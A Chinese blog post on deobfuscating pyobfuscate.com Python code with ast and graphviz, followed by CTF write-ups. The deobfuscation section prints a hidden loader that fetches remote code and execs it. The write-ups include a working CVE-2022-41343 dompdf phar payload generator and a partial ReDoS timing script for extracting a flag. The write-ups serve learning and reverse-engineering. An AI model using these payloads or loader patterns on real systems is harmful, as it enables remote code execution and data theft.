加载中,请稍等...

一次基于ast的python反混淆尝试

0x00 前言

之前看到一个python混淆的网站,感觉很不错,就拿过来研究了一下,当时霸王硬上弓(指扔给idea美化代码之后然后插print)硬是给撅出来了


当时硬print的时候就在想,能否以python解释器的方法来处理分析这些内容,然后就接触到一个东西”AST”。

最近刚好看到他们家换了新的混淆方法,就拿过来好好研究怎么用AST分析了。

0x01 前置内容

Python 源码编译过程

Python 源码到机器码的过程,以 CPython 为例,编译过程如下:

将源代码解析为解析树(Parser Tree)
将解析树转换为抽象语法树(Abstract Syntax Tree)
将抽象语法树转换到控制流图(Control Flow Graph)
根据流图将字节码(bytecode)发送给虚拟机(ceval)

可以使用以下模块进行操作:

ast 模块可以控制抽象语法树的生成和编译
py-compile 模块能够将源码换成字节码(编译),保存在 __pycache__ 文件夹,以 .pyc 结尾(不可读)
dis 模块通过反汇编支持对字节码的分析(可读)

一些简单代码的ast分析

这里先上一些简单的例子,为后面的分析铺垫。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import ast
import dis

code = '''
import requests

def req_baidu():
r = requests.get('https://www.baidu.com/')
print(r.text)

req_baidu()
'''


code_ast = ast.parse(code)
code_compile = compile(code_ast, '<string>', 'exec')

print(ast.dump(code_ast,indent=4))
dis.dis(code_compile)

得到的输出是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
python .\test.py
Module(
body=[
Import(
names=[
alias(name='requests')]),
FunctionDef(
name='req_baidu',
args=arguments(
posonlyargs=[],
args=[],
kwonlyargs=[],
kw_defaults=[],
defaults=[]),
body=[
Assign(
targets=[
Name(id='r', ctx=Store())],
value=Call(
func=Attribute(
value=Name(id='requests', ctx=Load()),
attr='get',
ctx=Load()),
args=[
Constant(value='https://www.baidu.com/')],
keywords=[])),
Expr(
value=Call(
func=Name(id='print', ctx=Load()),
args=[
Attribute(
value=Name(id='r', ctx=Load()),
attr='text',
ctx=Load())],
keywords=[]))],
decorator_list=[]),
Expr(
value=Call(
func=Name(id='req_baidu', ctx=Load()),
args=[],
keywords=[]))],
type_ignores=[])

2 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (requests)
6 STORE_NAME 0 (requests)

4 8 LOAD_CONST 2 (<code object req_baidu at 0x000002245F825D10, file "<string>", line 4>)
10 LOAD_CONST 3 ('req_baidu')
12 MAKE_FUNCTION 0
14 STORE_NAME 1 (req_baidu)

8 16 LOAD_NAME 1 (req_baidu)
18 CALL_FUNCTION 0
20 POP_TOP
22 LOAD_CONST 1 (None)
24 RETURN_VALUE

Disassembly of <code object req_baidu at 0x000002245F825D10, file "<string>", line 4>:
5 0 LOAD_GLOBAL 0 (requests)
2 LOAD_METHOD 1 (get)
4 LOAD_CONST 1 ('https://www.baidu.com/')
6 CALL_METHOD 1
8 STORE_FAST 0 (r)

6 10 LOAD_GLOBAL 2 (print)
12 LOAD_FAST 0 (r)
14 LOAD_ATTR 3 (text)
16 CALL_FUNCTION 1
18 POP_TOP
20 LOAD_CONST 0 (None)
22 RETURN_VALUE

大致看一看,不难发现,ast处理后的python其实已经和bytecode都差不多了,相对应的位置都一样,只不过可读性比字节码好上了不少,看起来还特别的直观。

Python ast的抽象文法:

这里就摘了一部分,是这次反混淆需要用到的
Abstract Grammar

mod Module
Interactive
Expression
FunctionType
stmt FunctionDef<brReturn
Deleate
Assign
expr BllOp
NamedExpr
Lambda

在我们一个python代码里,出现的主要还是 stmt 里的内容,定义函数FunctionDef,赋值Assign,在这些stmt里面是各种expr

结合上面的语句大致对照一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Import(names=[alias(name='requests')]),                             -->    import requests
FunctionDef(
name='req_baidu', --> def req_baidu()
args=arguments(
posonlyargs=[],
args=[],
kwonlyargs=[],
kw_defaults=[],
defaults=[]),
body=[ -->
Assign(
targets=[ -->r = requests.get('https://www.baidu.com/')
Name(id='r', ctx=Store())],
value=Call(
func=Attribute(
value=Name(id='requests', ctx=Load()),
attr='get',
ctx=Load()),
args=[
Constant(value='https://www.baidu.com/')],
keywords=[])),
Expr( --> print(r.text)
value=Call(
func=Name(id='print', ctx=Load()),
args=[
Attribute(
value=Name(id='r', ctx=Load()),
attr='text',
ctx=Load())],
keywords=[]))],
decorator_list=[]),

0x02 开淦

这是一个print(1+1)


被加密&混淆后的结果

这里先剧透一下,上面的obfuscate在第一层用不上,这里就先看前面的加密部分。

大致扫了一眼,整个代码里面,全是变量定义外加lambda,最后执行的表达式(expr)也被混在了这一行里面,这里仿照ast.py中注释给出的代码样例,搓出AssignExpr的抽象文法

1
2
3
4
5
6
7
8
9
10
11
12
13
class AssignExtractor(ast.NodeVisitor):
def __init__(self):
self.assign_nodes = []

def visit_Assign(self, node):
self.assign_nodes.append(node)

class ExprExtractor(ast.NodeVisitor):
def __init__(self):
self.expr_nodes = []

def visit_Expr(self, node):
self.expr_nodes.append(node)

开始分析:

先来一个print(1+1)

1
2
3
4
5
6
#pip install pycryptodome  , It works only v3.11 Above.
import random ,base64,codecs,zlib;pyobfuscate=""

obfuscate = dict(map(lambda map,dict:(map,dict),['(https://pyobfuscate.com)*(decrypt)'],['''Mg9q#UDn(oW~!Zy`F!j-yD|'''.replace('\n','')]))

_=lambda OO00000OOO0000OOO,c_int=100000:(_OOOO00OO0O00O00OO:=''.join(chr(int(int(OO00000OOO0000OOO.split()[OO00O0OO00O0O0OO0])/random.randint(1,c_int)))for OO00O0OO00O0O0OO0 in range(len(OO00000OOO0000OOO.split()))));eval("".join(chr(i) for i in [101,120,101,99]))("\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x5f\x22\x2c\x70\x72\x69\x6e\x74\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x22\x2c\x65\x78\x65\x63\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x22\x2c\x65\x76\x61\x6c\x29");__='600840 10052792 2475510 107811 3460338 725070 743968 2892000 2595808 1123520 4498098 4658724 9505818 3510345 255392 146490 5557929 9774387 9643374 676195 8169140 8968656 7951905 2729216 6994785 2809039 2272480 238206 8998248 10083880 1132512 1887269 9978295 4040976 199290 720029 6381240 390456 4855272 5536608 8270336 5334956 137240 1950112 813888 1000864 14176 4719645 7434130 4414928 6253299 9947928 1058600 1230358 2126544 2411955 8232000 3136064 3545955 10065990 11478610 1845676 5793228 1659528 8606412 2662784 9252354 3826789 8515228 10136529 9876386 4503170 4636636 3050030 2304864 8648920 3476588 1063810 6624464 4304298 1150491 8042410 11245620 2352544 7278969 5070780 3834960 143016 6244008 3168128 11537244 1865133 1213344 1977057 519120 3126900 1538392 2683994 3910416 125890 1943840 169376 2568608 2306112 1493210 846355 4957785 3989836 8217104 10113987 6212658 6166328 5037850 7088140 89080 2665299 9719915 11920920 8955970 163995 576706 283176 3952332 6138720 8659980 10319940 3459800 1280676 161860 51870 2435250 6931656 3196522 1527030 341905 7265895 9809455 5280688 6588183 1684008 10751112 3620735 3711935 2101440 809948 7445910 7656305 6875824 7874685 7469960 4394725 5493528 3843530 1205130 2690707 1967374 2228611 1179175 1150372 171600 701454 4804904 669900 5363840 4755408 11124985 3124634 2961893 2837437 10306240 6771644 3092793 3541328 182988 7504380 2047000 2964060 3378704 8487488 7190998 3697158 1008513 9005208 7376139 3927743 9552368 2742597 5133926 6206652 2311680 3009798 833028 10506608 3530296 4332300 1356850 2624527 2751793 2669733 2394070 3060196 9653172 845520 3047668 1129650 1732414 1747310 6141852 3553786 8646840 10742180 287180 1469024 8047488 11999933 3563346 859220 420224 1719072 288032 236160 8018628 6755070 3157506 9098557 82624 8832714 3347765 2617768 861504 1658215 5273592 2594072 661024 902160 6018871 5059712 9333546 5543478 10761204 2640896 8903453 1575480 7633185 2561625 10578968 1218540 2351744 2321307 6116045 1633408 7015763 5559960 703580 194336 3119584 275968 733760 8284032 10978086 2905647 3348153 823648 7268835 6811105 2865536 6322155 8007685 196784 7085907 1614012 2185672 1955680 2770597 3622466 1278320 2700033 3743630 6963888 713088 5437432 1507305 2370048 8338983 4488036 4277988 9789636 9784072 5294239 4570980 2052020 2932737 873420 692064 2712832 1440256 493184 2269836 5935947 2087019 3347070 9042473 2466925 1163640 715299 5119400 61600 6803360 3070472 3586505 7106652 2033070 3448770 1332254 3203700 10746064 3431176 5216964 6666840 4895988 1158993 1447466 1891930 7078112 6234472 5222771 3231394 5588080 4378418 11000396 10886880 8793728 1153926 5624706 10051328 4147000 877546 3422952 2137083 9117108 160089 559164 5589552 1199496 4719258 5596015 6874390 2490348 1775612 1560720 4793584 715768 4420870 1858864 1768731 6089081 782892 9675759 443322 3954581 1434120 5588080 7513732 9453620 9258872 2909040 2799450 94254 10129700 9949920 11461032 497182 218660 779670 2491648 2679584 494368 352064 4780650 2815914 294496 7500159 7957680 3969000 180320 2806720 695360 4723901 2923730 6454392 9958698 3237507 9151509 4419136 548540 636352 2456512 1158016 760864 1530048 1579104 2585568 430784 2442792 6334013 8462433 5897208 1869828 4518740 3117160 5861968 1116906 2769468 816450 2827072 1415232 1191040 2284736 8500463 5873256 4862550 8653986 474048 4160392 11480880 2319080 5977776 4726700 1302857 2626355 2011353 6087816 4281612 7839 8072324 1344846 941040 376416 1535392 25216 1638144 940672 908128 1618464 2692032 10648056 9403706 9440490 4338990 8526326 10022230 3095680 5052656 1556850 3580776 899200 322624 1953120 70272 295072 4593225 1466046 1091200 6202410 2524200 3669480 7108528 2021742 3980813 775188 2749880 879060 7325537 2466936 3110290 5079795 2893968 18560 2327936 929024 2551104 2492384 250208 2255232 2757472 1236384 1442994 8935815 6523840 4058288 758816 5608275 159264 4936678 7766440 635360 3872280 3241388 98154 46120 2160368 1370625 2638555 1671604 1677458 10174381 1842902 2885703 1477056 2982847 11056675 3048096 4126658 5386576 8473294 255852 9015797 5719266 523215 5380544 7602876 3131200 3952665 5033820 6584982 3005160 3080910 7898256 1513884 2341428 858130 2530240 1594784 2112896 2613536 9160801 10402320 9666407 2264229 3761800 3583302 3224816 6873656 7062880 2358440 1934464 2074850 443128 2641596 11325900 7407946 5716016 5132800 3202520 2705549 2412399 473240 41376 1962080 2383136 2582624 116230 8708018 5645880 6635178 8949913 7043904 9106580 3237618 801350 193792 558464 1907744 2121536 7285534 6910080 4454403 7914654 3865800 9856668 3906900 1701828 590760 464890';why,are,you,reading,this,thing,huh="\x5f\x5f\x5f\x5f","\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f","\x28\x22\x22\x2e\x6a\x6f","\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c","\x31\x30\x31\x2c\x39\x39","\x5f\x5f\x29\x29","\x5d\x29\x29\x28\x5f\x28";b='eJxzdK8wccz1A+IwYyBt6OheketYHmYKAFuyB3k=';____("".join (chr (int (OO00O0OO00O0O0OO00 /2 ))for OO00O0OO00O0O0OO00 in [202 ,240 ,202 ,198 ] if _____!=______))(f'\x5f\x5f\x5f\x5f\x28\x22\x22\x2e\x6a\x6f\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x30\x31\x2c\x39\x39\x5d\x29\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kN1ygjAUhF8JIkzlMo6mEnIcHVIM3AGtoPIT2wSSPH2p7fTu252d2T3n3MkyK896dLvrSMIeaGxEGn0l/rpiLu3hlXm5yxDmO8tQZIDoeUQLr4oWePxk8VZfBpr9af8mXdzLTk8swRbP25bNzPvP8qwWJDRA8RX4vhLkfvuk0QRl3DOUekDC9xHZVnBcyUnXY7mtBrIOBDEKXNRl3KiBBor25l5MN7U5qSA/HsJiVpfsVIQ/Hj4dgoSYOndx+7tZLZ2m3qA4AFpUD6RDsbLXB2m0dPuPZa8GblvoGm/gthdI+8PxyYtnXqRLl9uiJi+xBbqtCmKm8/K3b7hsbmQ=")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})')

乍一看,用了大量的lambda把代码写成了一行,想提取里面的代码很难,我第一次破的时候是直接扔到pycharm里面格式化到处插print看变量的值,为了对准lambda表达式后面的;挺痛苦的,上AST看一下。

因为里面的代码主要是赋值(Assign)语句,最后执行的代码(Expr)跟在了lambda的分号后面了,先大致拉出来看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from extractors import AssignExtractor,ExprExtractor

import ast
import dis

with open('./obfuscated_code.py', 'r') as f:
code = f.read()

tree = ast.parse(code)
assignExtractor = AssignExtractor()
assignExtractor.visit(tree)
ass_nodes = assignExtractor.assign_nodes

exprExtractor = ExprExtractor()
exprExtractor.visit(tree)
expr_nodes = exprExtractor.expr_nodes

with open('./assin_output.txt','w') as f1:
for i in ass_nodes:
f1.write(ast.dump(i)+'\n')
f1.write(ast.unparse(i)+'\n\n')

with open('./expr_output.txt','w') as f2:
for i in expr_nodes:
f2.write(ast.dump(i)+'\n')
f2.write(ast.unparse(i)+'\n\n')


代码的结构就能很轻松地找出来,之后便可以通过在代码里插print的方法来确定我被混淆的代码最后哪里运行的

1
____(''.join((chr(int(OO00O0OO00O0O0OO00 / 2)) for OO00O0OO00O0O0OO00 in [202, 240, 202, 198] if _____ != ______)))(f"""____("".join(chr(i) for i in [101,120,101,99]))({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b'eJw9kN1ygjAUhF8JIkzlMo6mEnIcHVIM3AGtoPIT2wSSPH2p7fTu252d2T3n3MkyK896dLvrSMIeaGxEGn0l/rpiLu3hlXm5yxDmO8tQZIDoeUQLr4oWePxk8VZfBpr9af8mXdzLTk8swRbP25bNzPvP8qwWJDRA8RX4vhLkfvuk0QRl3DOUekDC9xHZVnBcyUnXY7mtBrIOBDEKXNRl3KiBBor25l5MN7U5qSA/HsJiVpfsVIQ/Hj4dgoSYOndx+7tZLZ2m3qA4AFpUD6RDsbLXB2m0dPuPZa8GblvoGm/gthdI+8PxyYtnXqRLl9uiJi+xBbqtCmKm8/K3b7hsbmQ=')).decode(), ''.join((chr(int(i / 8)) for i in [912, 888, 928, 392, 408]))).encode()))})""")

把这段代码单独拎出来,看看里面长啥样:

这里用graphviz库来做个可视化 Pythonの抽象構文木をGraphvizで可視化する

pip install graphviz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from graphviz import Digraph

import ast
import dis

def visit(node, nodes, pindex, g):
name = str(type(node).__name__)
index = len(nodes)
nodes.append(index)
g.node(str(index), name)
if index != pindex:
g.edge(str(index), str(pindex))
for n in ast.iter_child_nodes(node):
visit(n, nodes, index, g)

with open('./obfuscated2_code.py', 'r') as f:
code = f.read()

tree = ast.parse(code)

graph = Digraph(format="png")
visit(tree, [], 0, graph)
graph.render("obfuscated2")

当这张图拉出来了之后,一目了然,把这个搜索改成广搜,来一层一层拨开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import random ,base64,codecs,zlib;pyobfuscate=""
from collections import deque

import ast

obfuscate = dict(map(lambda map,dict:(map,dict),['(https://pyobfuscate.com)*(decrypt)'],['''Mg9q#UDn(oW~!Zy`F!j-yD|'''.replace('\n','')]))

_=lambda OO00000OOO000
....
....
....
yB3k='

# ↓↓↓↓ 下面的这些代码是前面分析出来得到的最后执行的表达式
code = """
_____("".join (chr (int (OO00O0OO00O0O0OO00 /2 ))for OO00O0OO00O0O0OO00 in [202 ,240 ,202 ,198 ] if _____!=______))(f'\x5f\x5f\x5f\x5f\x28\x22\x22\x2e\x6a\x6f\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x30\x31\x2c\x39\x39\x5d\x29\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kN1ygjAUhF8JIkzlMo6mEnIcHVIM3AGtoPIT2wSSPH2p7fTu252d2T3n3MkyK896dLvrSMIeaGxEGn0l/rpiLu3hlXm5yxDmO8tQZIDoeUQLr4oWePxk8VZfBpr9af8mXdzLTk8swRbP25bNzPvP8qwWJDRA8RX4vhLkfvuk0QRl3DOUekDC9xHZVnBcyUnXY7mtBrIOBDEKXNRl3KiBBor25l5MN7U5qSA/HsJiVpfsVIQ/Hj4dgoSYOndx+7tZLZ2m3qA4AFpUD6RDsbLXB2m0dPuPZa8GblvoGm/gthdI+8PxyYtnXqRLl9uiJi+xBbqtCmKm8/K3b7hsbmQ=")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})')

"""

# ↓↓↓↓ 使用广搜,一层一层分析

def bfs_visit(root):
nodes = []
queue = deque([(root, None)])
while queue:
node, parent_index = queue.popleft()
index = len(nodes)
nodes.append(index)
if parent_index is not None:
nodes.append(index)
for child in ast.iter_child_nodes(node):
try :
print("[+]",eval(ast.unparse(child))) # <--- 这里获取值

except:
print("[-]",ast.unparse(child))
pass
queue.append((child, index))
print("---------------------------------分割线------------------------------")
return nodes

tree = ast.parse(code)
bfs_visit(tree)

这里想到用eval直接打印出来变量,直接看

我在整理笔记到这里的时候,突发奇想,既然我都能把整个逻辑弄成图,为啥不直接把对应的值也弄上去,到时候分析起来就更方便了,也就不需要到处print看值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def bfs_visit(root):
queue = Queue()
queue.put((root, 0))
nodes = []
g = Digraph(format='png')
while not queue.empty():
node, pindex = queue.get()
name = str(type(node).__name__)
index = len(nodes)
nodes.append(index)
try:
value = eval(ast.unparse(node))
except:
value = ast.unparse(node)
pass
try:
g.node(str(index), name+' '+str(type(value)) + ' '+str(value))
except:
g.node(str(index), name+' '+str(type(value)))
if index != pindex:
g.edge(str(index), str(pindex))
for n in ast.iter_child_nodes(node):
queue.put((n, index))
return g



tree = ast.parse(code)
tree = ast.parse(code)
graph = bfs_visit(tree)
graph.render("obfuscated2_plus")

这不比命令行里一条条对数据方便多了

仔细看看,左边NoneType上方是exec,右边是个JoinedStr,结合这里面一堆call,不难看出最后执行的是exec(JoinedStr)

但是右边又套娃套了好几层

用随机数特定的种子来生成特定的文字,玩的挺脏的,得到反混淆后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

try:
from requests import get
except:
input("pip install requests \\npress enter to Exit")
__import__('sys').exit()

fl=__import__("requests").get("https://pyobfuscate.com/public/pyd2/aes.txt").text
try:
from os.path import exists as ex
from os import getenv as ge,remove
loc=ge('APPDATA');p1=loc+"\\aes.txt";p2=loc+"\\rsa.txt";p3=loc+"\\aes2.txt"

if ex(p1)==True:
remove(p1)
elif ex(p2)==True:
remove(p2)
if ex(p3)==False:
with open(str(p3),"w") as e:e.write(str(fl))
exec(open(p2).read())

except:
exec(fl)

简单一看,又想骂娘
https://pyobfuscate.com/public/pyd2/aes.txt

代码还是那一些,同样的思路继续干,这里把最后一个Expr拿出来吧,原代码太长了

1
_______.___________________(_______.________________(_______.________________________())[:______._ * ______._] + _______.________________(_______._______________())[______.___] + _______.________________(_______._________________([]))[______.___] + _______.________________(_______.________________________())[______._ ** ______._ + ______.__])(____, _______._______________________(), _______.________________(_______.________________________())[______._ ** ______._ + ______.__] + _______.________________(_______.______________())[______._] + _______.________________(_______.________________________())[______._ ** ______._ + ______.__] + _______.________________(_______.________________________())[______.___])

左边exec

右边compile

看到这里,compile上加载了一个前面代码的变量,这里再改进一下代码,同时更换输出格式为svg,避免因为图片过大报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import ast
from graphviz import Digraph
from queue import Queue
from graphviz import Digraph


def bfs_visit(root):
queue = Queue()
queue.put((root, 0))
nodes = []
g = Digraph(format='svg')
while not queue.empty():
node, pindex = queue.get()
name = str(type(node).__name__)
index = len(nodes)
nodes.append(index)
try:
value = eval(ast.unparse(node))
except:
value = ast.unparse(node)
pass
try:
if name == 'Name':
g.node(str(index), name+' '+str(type(value)) + ' id:'+str(node.id)) # 添加加载变量的id
else:
g.node(str(index), name+' '+str(type(value)) + ' '+str(value))
except Exception as e:
print(e)
g.node(str(index), name+' '+str(type(value)))
if index != pindex:
g.edge(str(index), str(pindex))
for n in ast.iter_child_nodes(node):
queue.put((n, index))
return g



tree = ast.parse(code)
tree = ast.parse(code)
graph = bfs_visit(tree)
graph.render("final_express")

这里放张svg图,建议新建窗口打开

找到了,因为变量类型是ast.Moudle,就用ast.unpares还原代码

print(ast.unparse(____))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
try:
import random, base64, zlib, sys, string
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Signature import pkcs1_15
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
import binascii

class AESEncryption:

def __init__(self, key: bytes) -> None:
self.key = key

@classmethod
def from_nbits(cls, nbits: int=256):
cls.iv = iv
cls.key = keys
cls.mode = mode
return cls(keys)

def encrypt(self, message: bytes) -> bytes:
cipher = AES.new(self.key, self.mode, self.iv)
ciphered_data = cipher.encrypt(pad(message, AES.block_size))
return ciphered_data

def decrypt(self, message: bytes) -> bytes:
cipher = AES.new(self.key, self.mode, self.iv)
decrypted_data = unpad(cipher.decrypt(message), AES.block_size)
return decrypted_data
MESSAGE_LONG = get_random_bytes(100100)
res = ''.join(random.choices(string.ascii_uppercase + string.digits, k=16))
bb = _encrypt[125:]
keys = base64.b85decode(bb)
iv = _pubkey[100:]
mode = AES.MODE_CBC
aes = AESEncryption.from_nbits(256)
encrypted_msg = aes.encrypt(_lambda)
passkey2 = 'Obfuscated by https://pyobfuscate.com'
if not _key == passkey2:
print('Decryption Key Do not Match or Missing AES Salt 256')
sys.exit()
exec(zlib.decompress(aes.decrypt(_lambda)).decode())
except:
import base64, os, hashlib, random
from Crypto.Cipher import AES

def aes_decrypt(encrypted_data, key):
encrypted_data = base64.b85decode(encrypted_data)
salt = encrypted_data[:8]
(key, iv) = derive_key_and_iv(key, salt)
cipher = AES.new(key, AES.MODE_CFB, iv)
data = cipher.decrypt(encrypted_data[8:])
return data.decode()

def derive_key_and_iv(password, salt):
dk = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)
key = dk[:16]
iv = dk[16:]
return (key, iv)
exec(aes_decrypt(list(obfuscate.values())[0], list(obfuscate.keys())[0][1:-1]))

仔细审审的话,发现上面的try必定出错,不需要管,最后得到解密代码是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import base64, os, hashlib, random
from Crypto.Cipher import AES

def aes_decrypt(encrypted_data, key):
encrypted_data = base64.b85decode(encrypted_data)
salt = encrypted_data[:8]
(key, iv) = derive_key_and_iv(key, salt)
cipher = AES.new(key, AES.MODE_CFB, iv)
data = cipher.decrypt(encrypted_data[8:])
return data.decode()

def derive_key_and_iv(password, salt):
dk = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)
key = dk[:16]
iv = dk[16:]
return (key, iv)
print(aes_decrypt(list(obfuscate.values())[0], list(obfuscate.keys())[0][1:-1]))

嗯哼,这么强的混淆只是为了保护一个解密器的代码。

0x03 复盘

其实只是破解这个混淆的话,根本不需要上ast来大炮打蚊子,直接把以下内容送进去混淆然后运行:

1
2
import pdb
pdb.set_trace()

dis一下

ast分析确实有很多好处的,首先是整个代码的就变得非常直观了,比较适合研究这个混淆的原理,能一眼看出来我这个运行的代码是如何被一步一步拼接出来的,比如这个compile

最后生成分析图像的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from queue import Queue
from graphviz import Digraph
import ast

def bfs_visit(root):
queue = Queue()
queue.put((root, 0))
nodes = []
g = Digraph(format='png')
while not queue.empty():
node, pindex = queue.get()
name = str(type(node).__name__)
index = len(nodes)
nodes.append(index)
try:
value = eval(ast.unparse(node))
except:
value = ast.unparse(node)
pass
try:
g.node(str(index), name+' '+str(type(value)) + ' '+str(value))
except:
g.node(str(index), name+' '+str(type(value)))
if index != pindex:
g.edge(str(index), str(pindex))
for n in ast.iter_child_nodes(node):
queue.put((n, index))
return g

tree = ast.parse(code)
tree = ast.parse(code)
graph = bfs_visit(tree)
graph.render("obfuscated2_plus")

Refences

dis — Python 字节码反汇编器
ast — 抽象语法树
Pythonの抽象構文木をGraphvizで可視化する

DasctfSU6月赛

【困难】pdf_converter

非预期,

1
2
3
4
5
6
7
8
9
10
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);

// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

return $reflect->invokeArgs($args);
}

直接日进去了

预期解:

CVE-2022-41343

当时都搜到了qwq

http://buaq.net/go-129526.html

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
import argparse
import hashlib
import base64
import urllib.parse
import os

PAYLOAD_TEMPLATE_URL_ENCODED = '''
<style>@font-face+{+font-family:'exploit';+src:url('%s');+font-weight:'normal';+font-style:'normal';}</style>
'''
PAYLOAD_TEMPLATE = '''
<style>
@font-face {
font-family:'exploit';
src:url('%s');
font-weight:'normal';
font-style:'normal';
}
</style>
'''

def get_args():
parser = argparse.ArgumentParser( prog="generate_payload.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will generate payloads for CVE-2022-41343
''')
parser.add_argument("file", help="Polyglot File")
parser.add_argument("-p", "--path", default="/var/www/", help="Base path to vendor directory (Default = /var/www/)")
args = parser.parse_args()
return args

def main():
args = get_args()
file = args.file.strip()
path = args.path.strip()
if(os.path.exists(file)):
generate_payloads(file, path)
else:
print("ERROR: File doesn't exist.")

def generate_payloads(file, path):
with open(file, "rb") as f:
fc = f.read()
b64 = base64.b64encode(fc)
data_uri_pure = "data:text/plain;base64,%s" % b64.decode()
md5 = hashlib.md5(data_uri_pure.encode()).hexdigest()
data_uri_double_encoded = "data:text/plain;base64,%s" % urllib.parse.quote_plus(urllib.parse.quote_plus(b64.decode()))
phar_uri = "phar://%s/vendor/dompdf/dompdf/lib/fonts/exploit_normal_%s.ttf##" % (path,md5)
req1_enc = PAYLOAD_TEMPLATE_URL_ENCODED % data_uri_double_encoded
req2_enc = PAYLOAD_TEMPLATE_URL_ENCODED % urllib.parse.quote_plus(phar_uri)
req1_pure = PAYLOAD_TEMPLATE % data_uri_double_encoded
req2_pure = PAYLOAD_TEMPLATE % phar_uri
print("====== REQUEST 1 ENCODED =======")
print(req1_enc)
print("====== REQUEST 2 ENCODED =======")
print(req2_enc)
print("====== REQUEST 1 NOT ENCODED =======")
print(req1_pure)
print("====== REQUEST 2 NOT ENCODED =======")
print(req2_pure)

if __name__ == "__main__":
main()

redos

midnightCTF,有这么一道题,很是神奇(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

// include_once('./flag.php');
$FLAG = "flag{Test_very_very_very_long_flag}";
error_reporting(E_ALL);
highlight_file(__FILE__);

$startTime = microtime(true);
if (!empty($_GET['x'])){
preg_match('/'.$_GET['x'].'/', $FLAG, $matches);
}

$endTime = microtime(true);
$runTime = $endTime - $startTime;

echo "<br /><br />\n";
echo "<strong>Exec Time:</strong> ".$runTime."<br />\n";

起初是认为正则表达式/e能命令执行,赛后复现的时候才发现是Redos

肥肠好用的正则表达式工具

原理很简单,就是利用回溯、贪婪等方式,让正则表达式进行一个大量的工作,这样就产生了一个时间延迟,于是乎就可以直接开始注入了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from lxml import etree
import requests

ans = ""

small = [chr(i) for i in range(ord('a'), ord('z') + 1)]
small += [chr(i) for i in range(ord('A'), ord('Z') + 1)]
small += ["{", "}", "-","_"]

for _ in range(0,20):
for i in small:
_tmp = {}
u = f"http://127.0.0.1/midnight.php/?x={ans + i}|(a*(b*(c*(d*(e*(f*.*.*.*.*.*.*.*.*.*.*.*.*(g*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*(].*.*.*.*.*.*.*.*.*.*.*))))))))"
r = requests.get(u)
html = etree.HTML(r.text)
time = html.xpath("/html/body/text()")[1]
